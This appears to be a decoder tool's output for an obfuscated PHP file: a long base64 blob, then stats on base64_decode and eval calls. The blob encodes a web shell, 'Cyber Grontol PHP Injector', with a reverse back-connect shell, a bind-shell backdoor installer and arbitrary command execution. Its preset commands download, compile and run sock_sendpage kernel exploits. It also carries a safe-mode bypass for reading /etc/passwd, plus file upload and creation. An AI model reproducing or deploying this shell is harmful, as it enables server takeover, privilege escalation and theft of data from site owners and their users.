nJheSgiZXh0X2xuayIsImV4dF91cmwiKSwgCiAgImV4dF9pbmkiPT5hcnJheSgiZXh0X2luaSIsImV4dF9jc3MiLCJleHRfaW5mIiksIAogICJleHRfZG9jIj0+YXJyYXkoImV4dF9kb2MiLCJleHRfZG90IiksIAogICJleHRfanMiPT5hcnJheSgiZXh0X2pzIiwiZXh0X3ZicyIpLCAKICAiZXh0X2NtZCI9PmFycmF5KCJleHRfY21kIiwiZXh0X2JhdCIsImV4dF9waWYiKSwgCiAgImV4dF93cmkiPT5hcnJheSgiZXh0X3dyaSIsImV4dF9ydGYiKSwgCiAgImV4dF9zd2YiPT5hcnJheSgiZXh0X3N3ZiIsImV4dF9mbGEiKSwgCiAgImV4dF9tcDMiPT5hcnJheSgiZXh0X21wMyIsImV4dF9hdSIsImV4dF9taWRpIiwiZXh0X21pZCIpLCAKICAiZXh0X2h0YWNjZXNzIj0+YXJyYXkoImV4dF9odGFjY2VzcyIsImV4dF9odHBhc3N3ZCIsImV4dF9odCIsImV4dF9odGEiLCJleHRfc28iKSAKICk7IAogaWYgKCEkZ2V0YWxsKSAKIHsgCiAgaGVhZGVyKCJDb250ZW50LXR5cGU6IGltYWdlL2dpZiIpOyAKICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IHB1YmxpYyIpOyAKICBoZWFkZXIoIkV4cGlyZXM6ICIuZGF0ZSgiciIsbWt0aW1lKDAsMCwwLDEsMSwyMDMwKSkpOyAKICBoZWFkZXIoIkNhY2hlLWNvbnRyb2w6IG1heC1hZ2U9Ii4oNjAqNjAqMjQqNykpOyAKICBoZWFkZXIoIkxhc3QtTW9kaWZpZWQ6ICIuZGF0ZSgiciIsZmlsZW10aW1lKF9fRklMRV9fKSkpOyAKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGs9PiR2KSB7aWYgKGluX2FycmF5KCRpbWcsJHYpKSB7JGltZyA9ICRrOyBicmVhazt9fSAKICBpZiAoZW1wdHkoJGltYWdlc1skaW1nXSkpIHskaW1nID0gInNtYWxsX3VuayI7fSAKICBpZiAoaW5fYXJyYXkoJGltZywkZXh0X3RhcikpIHskaW1nID0gImV4dF90YXIiO30gCiAgZWNobyBiYXNlNjRfZGVjb2RlKCRpbWFnZXNbJGltZ10pOyB9IGVsc2UgeyAKICBmb3JlYWNoKCRpbWdlcXVhbHMgYXMgJGE9PiRiKSB7Zm9yZWFjaCAoJGIgYXMgJGQpIHtpZiAoJGEgIT0gJGQpIHtpZiAoIWVtcHR5KCRpbWFnZXNbJGRdKSkge2VjaG8oIldhcm5pbmchIFJlbW92ZSBcJGltYWdlc1siLiRkLiJdPGJyPiIpO319fX0gCiAgbmF0c29ydCgkaW1hZ2VzKTsgCiAgJGsgPSBhcnJheV9rZXlzKCRpbWFnZXMpOyAKICBlY2hvICAiPGNlbnRlcj4iOyAKICBmb3JlYWNoICgkayBhcyAkdSkge2VjaG8gJHUuIjo8aW1nIHNyYz1cIiIuJHN1cmwuInh0dXg9aW1nJmltZz0iLiR1LiJcIiBib3JkZXI9XCIxXCI+PGJyPiI7fSAKICBlY2hvICI8L2NlbnRlcj4iOyAKIH0gCiBleGl0OyAKfSAKaWYgKCR4dHV4ID09ICJhYm91dCIpIHtlY2hvICI8Y2VudGVyPkN5YmVyIEdyb250b2wgUEhQIEluamVjdG9yPGJyIC8+PGJyIC8+QmxhY2sgSGF0IEVkaXRpb248YnIgLz5UaGlzIGlzIGZvciBlZHVjYXRpb24gcHVycG9zZSBvbmx5PGJyIC8+Ijt9IAppZiAoJHh0dXggPT0gImJhY2tjIikKewogJGlwID0gJF9TRVJWRVJbIlJFTU9URV9BRERSIl07CiAkbXNnID0gJF9QT1NUWydiYWNrY2Nvbm5tc2cnXTsKICRlbXNnID0gJF9QT1NUWydiYWNrY2Nvbm5tc2dlJ107CiBlY2hvKCI8Y2VudGVyPkJhY2stQ29ubmVjdGlvbjo8L2JyPjwvYnI+PGZvcm0gbmFtZT1mb3JtIG1ldGhvZD1QT1NUPkhvc3Q6PGlucHV0IHR5cGU9dGV4dCBuYW1lPWJhY2tjb25uZWN0aXAgc2l6ZT0xNSB2YWx1ZT0kaXA+IFBvcnQ6IDxpbnB1dCB0eXBlPXRleHQgbmFtZT1iYWNrY29ubmVjdHBvcnQgc2l6ZT0xNSB2YWx1ZT0zMTMzNz4gVXNlOiA8c2VsZWN0IHNpemU9MSBuYW1lPXVzZT48b3B0aW9uIHZhbHVlPVBlcmw+UGVybDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9Qz5DPC9vcHRpb24+PC9zZWxlY3Q+IDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT1Db25uZWN0PjwvZm9ybT5DbGljayAnQ29ubmVjdCcgb25seSBhZnRlciB5b3Ugb3BlbiBwb3J0IGZvciBpdCBmaXJzdC4gT25jZSBvcGVuLCB1c2UgTmV0Q2F0LCBhbmQgcnVuICduYyAtbCAtbiAtdiAtcCAzMTMzNyc8YnI+PGJyPjwvY2VudGVyPiIpOwogZWNobygiJG1zZyIpOwogZWNobygiJGVtc2ciKTsKfQoKaWYgKCR4dHV4ID09ICJzaGJkIil7CiRtc2cgPSAkX1BPU1RbJ2JhY2tjY29ubm1zZyddOwokZW1zZyA9ICRfUE9TVFsnYmFja2Njb25ubXNnZSddOwplY2hvKCI8Y2VudGVyPkJpbmQgU2hlbGwgQmFja2Rvb3I8YnIgLz48YnIgLz48Zm9ybSBuYW1lPWZvcm0gbWV0aG9kPVBPU1Q+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nYmFja2Nvbm5lY3Rwb3J0JyB2YWx1ZT0nMzEzMzcnPjxpbnB1dCB0eXBlPSdoaWRkZW4nIG5hbWU9J3VzZScgdmFsdWU9J3NoYmQnPgo8aW5wdXQgdHlwZT0nc3VibWl0JyB2YWx1ZT0nSW5zdGFsbCBCYWNrZG9vcic+PC9mb3JtPiIpOwplY2hvKCIkbXNnIik7CmVjaG8oIiRlbXNnIik7CmVjaG8oIjwvY2VudGVyPiIpOwp9ID8+CjwvdGQ+PC90cj48L3RhYmxlPjxhIGJvb2ttYXJrPSJtaW5pcGFuZWwiPjxicj4KPFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTMgaGVpZ2h0PSIxIiB3aWR0aD0iOTUlIiBiZ2NvbG9yPXRyYW5zcGFyZW50IGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4gCjx0cj48dGQgd2lkdGg9IjEwMCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiIGNvbHNwYW49IjIiPjwvdGQ+PC90cj4gCjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj5Db21tYW5kOiA8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14dHV4IHZhbHVlPSJjbWQiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij4KPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImNtZCIgc2l6ZT0iNTAiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJGNtZCk7ID8+Ij4KPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImNtZF90eHQiIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IkV4ZWN1dGUiPjwvZm9ybT48L3RkPjwvdHI+PC9UQUJMRT48YnI+CjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9Izk5MDAwMCBjZWxsUGFkZGluZz0zIGhlaWdodD0iMTE2IiB3aWR0aD0iOTUlIiBiZ2NvbG9yPXRyYW5zcGFyZW50IGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4gCjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PC90ZD48L3RyPiAKPHRyPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj48ZGl2IGFsaWduPSJjZW50ZXIiPlVzZWZ1bCBDb21tYW5kczwvZGl2PiAKCTxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxkaXYgYWxpZ249ImNlbnRlciI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eHR1eCB2YWx1ZT0iY21kIj4gCiAgICAgICAgPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPiAKPFNFTEVDVCBOQU1FPSJjbWQiPiAKCTxPUFRJT04gVkFMVUU9InVuYW1lIC1hIj5LZXJuZWwgdmVyc2lvbiAKCTxPUFRJT04gVkFMVUU9InciPkxvZ2dlZCBpbiB1c2VycyAKCTxPUFRJT04gVkFMVUU9Imxhc3Rsb2ciPkxhc3QgdG8gY29ubmVjdCAKCTxPUFRJT04gVkFMVUU9ImNhdCAvcHJvYy92ZXJzaW9uIC9wcm9jL2NwdWluZm8iPkNQVUlORk8gCgk8T1BUSU9OIFZBTFVFPSJuZXRzdGF0IC1hdHVwIHwgZ3JlcCBJU1QiPk9wZW4gcG9ydHMgCgk8T1BUSU9OIFZBTFVFPSJnY2MgLXYiPmdjYyB2ZXJzaW9uCgk8T1BUSU9OIFZBTFVFPSJwZXJsIC12Ij5wZXJsIHZlcnNpb24KCTxPUFRJT04gVkFMVUU9IndnZXQgaHR0cDovL2Rvd25sb2Fkcy5zZWN1cml0eWZvY3VzLmNvbS92dWxuZXJhYmlsaXRpZXMvZXhwbG9pdHMvMzYwMzgtNi5jIj5zb2NrX3NlbmRwYWdlIEV4cGxvaXQgNgoJPE9QVElPTiBWQUxVRT0iZ2NjIC1XYWxsIDM2MDM4LTYuYyAtbyAzNjAzOC02Ij5Db21waWxlIHNvY2tfc2VuZHBhZ2UgRXhwbG9pdCA2Cgk8T1BUSU9OIFZBTFVFPSIuLzM2MDM4LTYiPlJ1biBzb2NrX3NlbmRwYWdlIEV4cGxvaXQgNgoJPE9QVElPTiBWQUxVRT0id2dldCBodHRwOi8vd3d3LnNlY3VyaXR5Zm9jdXMuY29tL2RhdGEvdnVsbmVyYWJpbGl0aWVzL2V4cGxvaXRzLzM2MDM4LTUuYyI+c29ja19zZW5kcGFnZSBFeHBsb2l0IDUKCTxPUFRJT04gVkFMVUU9ImdjYyAzNjAzOC01LmMgLW8gMzYwMzgtNSI+Q29tcGlsZSBzb2NrX3NlbmRwYWdlIEV4cGxvaXQgNQoJPE9QVElPTiBWQUxVRT0iLi8zNjAzOC01Ij5SdW4gc29ja19zZW5kcGFnZSBFeHBsb2l0IDUKPC9TRUxFQ1Q+Cgk8aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iY21kX3R4dCIgdmFsdWU9IjEiPiZuYnNwOwogICAgICAgIDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+PGJyPktlcm5lbCBha2FuIGRpYmVyaSB0YXUgamlrYSBtZWxlYmloaSBrYXBhc2l0YXM8L2Rpdj48L2Zvcm0+PC90ZD4KCTx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48Y2VudGVyPlNlbGVjdDogPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/Pnh0dXg9Y21kIiBtZXRob2Q9IlBPU1QiPgoJPGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eHR1eCB2YWx1ZT0iY21kIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PHNlbGVjdCBuYW1lPSJjbWQiPjw/cGhwIGZvcmVhY2ggKCRjbWRhbGlhc2VzIGFzICRhbHMpIHtlY2hvICI8b3B0aW9uIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRhbHNbMV0pLiJcIj4iLmh0bWxzcGVjaWFsY2hhcnMoJGFsc1swXSkuIjwvb3B0aW9uPiI7fSA/Pjwvc2VsZWN0PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJjbWRfdHh0IiB2YWx1ZT0iMSI+IDxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iRXhlY3V0ZSI+PC9mb3JtPjwvdGQ+PC90cj48L1RBQkxFPjxicj4gCjxUQUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgY2VsbFNwYWNpbmc9MCBib3JkZXJDb2xvckRhcms9Izk5MDAwMCBjZWxsUGFkZGluZz01IGhlaWdodD0iMTE2IiB3aWR0aD0iOTUlIiBiZ2NvbG9yPXRyYW5zcGFyZW50IGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT4gCjx0cj48dGQgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCIgY29sc3Bhbj0iMiI+PC90ZD48L3RyPgo8dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iODMiIHZhbGlnbj0idG9wIj48Y2VudGVyPjxkaXYgYWxpZ249ImNlbnRlciI+UGhwIFNhZmUtTW9kZSBCeXBhc3MgKFJlYWQgRmlsZXMpPC9kaXY+PGJyPgo8Zm9ybSBhY3Rpb249Ijw/cGhwIGVjaG8gJHN1cmw7ID8+Ij48ZGl2IGFsaWduPSJjZW50ZXIiPkZpbGU6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmaWxlIiBtZXRob2Q9ImdldCI+IDxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJSZWFkIEZpbGUiPjxicj48YnI+Q29udG9oIC9ldGMvcGFzc3dkPGJyPiAKPD8KZnVuY3Rpb24gcnNnX3JlYWQoKQp7ICAgIAokdGVzdD0iIjsKJHRlbXA9dGVtcG5hbSgkdGVzdCwgImN4Iik7CiRmaWxlPSRfR0VUWydmaWxlJ107ICAgIAokZ2V0PWh0bWxzcGVjaWFsY2hhcnMoJGZpbGUpOwplY2hvICI8YnI+VHJ5aW5nIFRvIEdldCBGaWxlIDxmb250IGNvbG9yPSMwMDAwOTk+JGdldDwvZm9udD48YnI+IjsKaWYoY29weSgiY29tcHJlc3MuemxpYjovLyIuJGZpbGUsICR0ZW1wKSl7CiRmaWNoaWVyID0gZm9wZW4oJHRlbXAsICJyIik7CiR4dHV4aW9uID0gZnJlYWQoJGZpY2hpZXIsIGZpbGVzaXplKCR0ZW1wKSk7CmZjbG9zZSgkZmljaGllcik7CiRzb3VyY2U9aHRtbHNwZWNpYWxjaGFycygkeHR1eGlvbik7CmVjaG8gIjxkaXYgY2xhc3M9XCJzaGVsbFwiPlN0YXJ0ICRnZXQ8YnI+PGJyPjxmb250IGNvbG9yPVwid2hpdGVcIj4kc291cmNlPC9mb250Pjxicj48YnI+RmluIDxmb250IGNvbG9yPSMwMDAwOTk+JGdldDwvZm9udD4iOwp1bmxpbmsoJHRlbXApOyB9IGVsc2UgeyBkaWUoIjxGT05UIENPTE9SPVwiUkVEXCI+PENFTlRFUj5BY2Nlc3MgIi5odG1sc3BlY2lhbGNoYXJzKCRmaWxlKS4iIGRlbmllZC48L0NFTlRFUj48L0ZPTlQ+Iik7IH0KZWNobyAiPC9kaXY+IjsKfQppZihpc3NldCgkX0dFVFsnZmlsZSddKSkKewpyc2dfcmVhZCgpOwp9IAo/PiAKPD8KZnVuY3Rpb24gcnNnX2dsb2IoKQp7CiRjaGVtaW49JF9HRVRbJ2RpcmVjdG9yeSddOwokZmlsZXMgPSBnbG9iKCIkY2hlbWluKiIpOwplY2hvICJUcnlpbmcgVG8gTGlzdCBGb2xkZXIgPGZvbnQgY29sb3I9IzAwMDA5OT4kY2hlbWluPC9mb250Pjxicj4iOwpmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGVuYW1lKSB7CmVjaG8gIjxwcmU+IjsKZWNobyAiJGZpbGVuYW1lXG4iOwplY2hvICI8L3ByZT4iOwp9Cn0gCmlmKGlzc2V0KCRfR0VUWydkaXJlY3RvcnknXSkpCnsKcnNnX2dsb2IoKTsKfSAKPz4KPGJyPjwvZGl2PjwvZm9ybT48L3RkPjx0ZCB3aWR0aD0iNTAlIiBoZWlnaHQ9IjgzIiB2YWxpZ249InRvcCI+PGNlbnRlcj48Y2VudGVyPlBocCBTYWZlLU1vZGUgQnlwYXNzIChMaXN0IERpcmVjdG9yaWVzKTogICAgIDxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxkaXYgYWxpZ249ImNlbnRlciI+PGJyPkRpcjogPGlucHV0IHR5cGU9InRleHQiIG5hbWU9ImRpcmVjdG9yeSIgbWV0aG9kPSJnZXQiPiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iTGlzdCBEaXJlY3RvcnkiPjxicj48YnI+IGVnOiAvZXRjLzxicj48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvVEFCTEU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5OTAwMDAgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSI5NSUiIGJnY29sb3I9dHJhbnNwYXJlbnQgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj5TZWFyY2g8Zm9ybSBtZXRob2Q9IlBPU1QiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXh0dXggdmFsdWU9InNlYXJjaCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzZWFyY2hfbmFtZSIgc2l6ZT0iMjkiIHZhbHVlPSIoLiopIj4mbmJzcDs8aW5wdXQgdHlwZT0iY2hlY2tib3giIG5hbWU9InNlYXJjaF9uYW1lX3JlZ2V4cCIgdmFsdWU9IjEiICBjaGVja2VkPiAtIHJlZ2V4cCZuYnNwOzxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXN1Ym1pdCB2YWx1ZT0iU2VhcmNoIj48L2Zvcm0+PC9jZW50ZXI+PC9wPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+VXBsb2FkPGZvcm0gbWV0aG9kPSJQT1NUIiBFTkNUWVBFPSJtdWx0aXBhcnQvZm9ybS1kYXRhIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14dHV4IHZhbHVlPSJ1cGxvYWQiPjxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJ1cGxvYWRmaWxlIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0ibWluaWZvcm0iIHZhbHVlPSIxIj4mbmJzcDs8aW5wdXQgdHlwZT1zdWJtaXQgbmFtZT1zdWJtaXQgdmFsdWU9IlVwbG9hZCI+PGJyPjw/cGhwIGVjaG8gJHdkdDsgPz48L2Zvcm0+PC9jZW50ZXI+PC90ZD48L3RyPjwvdGFibGU+Cjxicj48VEFCTEUgc3R5bGU9IkJPUkRFUi1DT0xMQVBTRTogY29sbGFwc2UiIGNlbGxTcGFjaW5nPTAgYm9yZGVyQ29sb3JEYXJrPSM5OTAwMDAgY2VsbFBhZGRpbmc9NSBoZWlnaHQ9IjEiIHdpZHRoPSI5NSUiIGJnY29sb3I9dHJhbnNwYXJlbnQgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xPjx0cj48dGQgd2lkdGg9IjUwJSIgaGVpZ2h0PSIxIiB2YWxpZ249InRvcCI+PGNlbnRlcj5NYWtlIERpcjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXh0dXggdmFsdWU9Im1rZGlyIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT0iZCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9Im1rZGlyIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+TWFrZSBGaWxlPGZvcm0gbWV0aG9kPSJQT1NUIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT14dHV4IHZhbHVlPSJta2ZpbGUiPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJkIiB2YWx1ZT0iPD9waHAgZWNobyAkZGlzcGQ7ID8+Ij48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibWtmaWxlIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImZ0IiB2YWx1ZT0iZWRpdCI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJDcmVhdGUiPjxicj48P3BocCBlY2hvICR3ZHQ7ID8+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTUgaGVpZ2h0PSIxIiB3aWR0aD0iOTUlIiBiZ2NvbG9yPXRyYW5zcGFyZW50IGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBib3JkZXI9MT48dHI+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+R28gRGlyPGZvcm0gYWN0aW9uPSI8P3BocCBlY2hvICRzdXJsOyA/PiI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9eHR1eCB2YWx1ZT0ibHMiPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJkIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PHRkIHdpZHRoPSI1MCUiIGhlaWdodD0iMSIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+R28gRmlsZTxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXh0dXggdmFsdWU9ImdvZmlsZSI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9ImQiIHZhbHVlPSI8P3BocCBlY2hvICRkaXNwZDsgPz4iPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJmIiBzaXplPSI1MCIgdmFsdWU9Ijw/cGhwIGVjaG8gJGRpc3BkOyA/PiI+Jm5ic3A7PGlucHV0IHR5cGU9c3VibWl0IHZhbHVlPSJHbyI+PC9mb3JtPjwvY2VudGVyPjwvdGQ+PC90cj48L3RhYmxlPgo8YnI+PFRBQkxFIHN0eWxlPSJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlIiBoZWlnaHQ9MSBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jOTkwMDAwIGNlbGxQYWRkaW5nPTAgd2lkdGg9Ijk1JSIgYmdjb2xvcj10cmFuc3BhcmVudCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0aD0iOTkwIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48cCBpZD0iZm9vdGVyIj4gQmxhY2sgSGF0ICZyZWc7ICYjNDc7JiM0NzsgU291cmNlIGJ5ICZjb3B5OyA8YSBocmVmPSJodHRwOi8vY3liZXJncm9udG9sLmNvbS8iPkN5YmVyIEdyb250b2w8L2E+ICYjNDc7JiM0NzsgPD8gZWNobyBkYXRlICgiWSIpLiIgIjsgPz4gPGEgaHJlZj0ibWFpbHRvOmRyaWU4OEBjeWJlcnNlcnZpY2VzLmNvbSI+ZHJpZTg4PC9hPiAmIzg0ODI7PC9mb250PiA8L3A+PC90ZD48L3RyPjwvdGFibGU+PC9ib2R5PjwvaHRtbD4='));
?>
Function Calls
base64_decode | 2 |
Stats
MD5 | 3ebc12cb864e67c498661193060acf6c |
Eval Count | 2 |
Decode Time | 552 ms |